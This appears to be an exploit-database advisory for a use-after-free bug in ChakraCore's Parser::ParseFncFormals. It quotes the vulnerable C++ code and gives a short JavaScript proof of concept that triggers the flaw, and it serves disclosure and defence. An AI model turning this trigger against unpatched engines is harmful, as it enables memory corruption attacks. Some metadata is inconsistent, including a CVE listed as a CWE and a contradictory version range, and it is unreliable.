Parser::ParseFncFormals Vulnerability

vendor:

ChakraCore JavaScript engine

by:

Project Zero

9,8

CVSS

CRITICAL

Use-after-free

416

CWE

Product Name: ChakraCore JavaScript engine

Affected Version From: ChakraCore JavaScript engine prior to version 1.11.11

Affected Version To: ChakraCore JavaScript engine version 1.11.11

Patch Exists: YES

Related CWE: CVE-2018-8500

CPE: a:microsoft:chakracore

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2018

Parser::ParseFncFormals Vulnerability

A use-after-free vulnerability exists in the Parser::ParseFncFormals function of the ChakraCore JavaScript engine, due to the lack of proper validation of the 'arguments' property when the 'PNodeFlags::fpnArguments_overriddenInParam' flag is set. An attacker can exploit this vulnerability by passing a crafted JavaScript code to the vulnerable function, resulting in a use-after-free condition.

Mitigation:

Upgrade to the latest version of ChakraCore JavaScript engine.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1298

Similar to the  issue #1297 . But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:
-->

function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();